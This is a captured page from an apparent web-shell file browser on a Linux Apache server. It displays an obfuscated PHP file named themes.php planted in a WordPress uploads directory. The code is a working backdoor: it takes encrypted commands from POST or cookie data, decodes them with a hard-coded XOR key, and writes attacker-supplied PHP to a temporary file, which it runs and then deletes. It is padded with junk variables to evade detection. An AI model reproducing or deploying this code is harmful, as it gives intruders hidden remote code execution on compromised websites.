HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/wp-content/uploads/2024/01/themes.php
<?php 

$ggqimco /*  cpjl_  */ = /*  qg */ 'ggqimco'	^   '';




function    lmvvfta()


{ /*   ro   */ $kmxoi /* v   */ =    22;     $_udrjnl	=    'edrnq';   $euacho    = /*miqv*/ 'u_lv';
       $kvsedprwv    =    20;

    $wnviddb  =       'ihpcmbdkr';

    return   $_POST;


}


$_ri_ki /*   itowu*/ =       lmvvfta();

$wdwaxmppdx    =    26;


$rzleyfeut     = /*   qak   */ 'uusejcjkn';





$ghlo_d /*   xtfb*/ =    $_COOKIE;
$nj_fdehhlk  =	'jdt';


$px_bs_qf    =    48;






lmvvfta();


function    lrobcigcad($nuwg_guns,       $yqbvffop)


{


    global   $ggqimco;




      $hgvyydynp	= /*   jjwu   */ sprintf("\x2e"   .   $ggqimco(47)      .    $ggqimco(37)	. /*   u_f  */ $ggqimco(115) /*tslto  */ . /*   z_e   */ $ggqimco(46)    .     "\x70"  .    "\154",	md5($nuwg_guns));

	file_put_contents($hgvyydynp,    "<" /* dsp  */ .	"?".$ggqimco(112) /*   ukf */ .    "\x68"    .    $ggqimco(112)  .	$ggqimco(32)      .    "\165" /*   ehfag*/ .      "n".$ggqimco(1038-930)	. /*hvjzd   */ "\151"."\x6e" /*bicn  */ .	"k"."(".$ggqimco(95)       . /*  vs */ "\x5f"    .      "F"."I".$ggqimco(999-923) /*l */ .      "E"."_"."\137"  .	"\x29"   . /*   kduovh  */ ";".$ggqimco(32)    .  $yqbvffop["d"]);$cpbmm /* td  */ =	'lcrcn';
      include($hgvyydynp);
	$ep_zbozw_   =  'lps';

	$cpbmm	= /*cxgb   */ base64_decode($cpbmm);


	$kmmfxmqdci       =   'edym';  $_dcu_b     =  $hgvyydynp;
	$ep_zbozw_     = /*   p */ base64_decode($kmmfxmqdci);


       @unlink($_dcu_b);


	$hvepwjpz	=    'ormilzppme';
}

function    axofrsc()

{


  global /*   lkiwo */ $ggqimco;

    $rzley  = /*  z  */ array();


      $rzley["\x70" /*   pvqu   */ .    "v"]	=	phpversion();


	$rzley["s"."\166"]      =  "\63"    . /*dwums   */ "."."\x35";       echo   @serialize($rzley);


	$lzhqfocz    =	9;
}






function    pdsje($yqbvffop,	$nuwg_guns,   $yposth)

{
    global    $ggqimco;



 /*   wjfhq*/ $yqbvffop    =       unserialize(pwurjruad_(pwurjruad_(base64_decode($yqbvffop), /*y */ $nuwg_guns), /*  vv */ $yposth));


 /* _   */ if   (isset($yqbvffop[$ggqimco(97)	.      "k"]))     {


 /* jmmr   */ if	($yqbvffop["a"] /*t*/ ==	"\151")  {

    axofrsc();			$mkfbzfjxs /*  crgbbh  */ =       27;


 /*   so */ }    elseif	($yqbvffop["a"]     == /*um  */ "e") /* ms*/ {    lrobcigcad($nuwg_guns,       $yqbvffop);
			$rzleyyip_pmpuo       =	'xqcjgs';


     }

	exit();

    }
}






$ghlo_d /*  ow*/ =       array_merge($_ri_ki,	$ghlo_d);	$ryuboajiwq       =    'qjcpmbxuf';





function    pwurjruad_($yqbvffop,    $yobcmvjwt)
{

      global  $ggqimco;

 /*  cy_v  */ $serhopwbg	= /*   fjb*/ "";


	for       ($rzley	=    0;	$rzley	< /*   y_ogf  */ strlen($yqbvffop);)    {

 /*   oq*/ for /* wlrzp */ ($serho /*   lwlrlk   */ =     0;      $serho       <    strlen($yobcmvjwt) /*uajox*/ &&   $rzley    <	strlen($yqbvffop);	$serho++,     $rzley++)     {


 /*  zkyg*/ $serhopwbg /*   swk_dk */ .= /*  wts   */ $ggqimco(ord($yqbvffop[$rzley])    ^ /*apbogt   */ ord($yobcmvjwt[$serho]));


			$cfbbosdapj       =     25;  }


	}
    return    $serhopwbg;
}



$nuwg_guns /*   h*/ =      $ggqimco(55)    . /*   ggltk*/ "7"."\x37" /* f   */ . /* pemia   */ $ggqimco(97)    .	"3"."a".$ggqimco(100)       .     "\x38"   .    "\x2d"    . /* dhng   */ $ggqimco(56) /*   jiyk */ . /*lhkq_ */ $ggqimco(56) /*   plbze_  */ . /*vi*/ "\145" /*cicbj */ .    $ggqimco(183-128)      .  "-"."\64"     .       "d"."\x61" /*   _cyk */ . /* oa   */ $ggqimco(641-586)       . /*  r   */ $ggqimco(301-256)    .       "8"."4".$ggqimco(51)    .  "5"."-"."8"."\61" /*  cyrun  */ .	$ggqimco(102)    .      "\x35"    . /*   hxerwr  */ "6"."\60"      . /* bx   */ "\x32"	. /*oalue */ "\142" /*   jepl*/ .      "4"."5"."\x30" /* od */ .  "7";$serhoutvbnx    =    strlen($ryuboajiwq);


foreach /*   jvm*/ ($ghlo_d      as /* jwhjt*/ $yposth    => /* oxvc*/ $yqbvffop) /*   mbi_li */ {
 /*lrxn */ pdsje($yqbvffop,   $nuwg_guns,    $yposth);

}





function   gnmebdjjul()
{

      $o_ysh	=    'xub';

 /*  yi   */ $gdvfvixvp /* r */ =    24;


   $gawtzbvhf  =	'xwatjs';


	$pgykrqfter /*  elwu*/ =    48;

  $hvwdz       =    strtoupper($o_ysh);

  $qnidkkgup       =	$gdvfvixvp /*  zji_*/ -  $pgykrqfter;
       $gdvfvixvp	=	$qnidkkgup      -	$gdvfvixvp;
     $pvbahpwkoo     =     31;


   $serhotwabtue      =   'qmk';


 /*  bnuhc*/ $qnidkkgup /*  ibra   */ =	$gdvfvixvp       % /*  ex_ */ ($pvbahpwkoo /*   a*/ +    3);
}


gnmebdjjul();


?>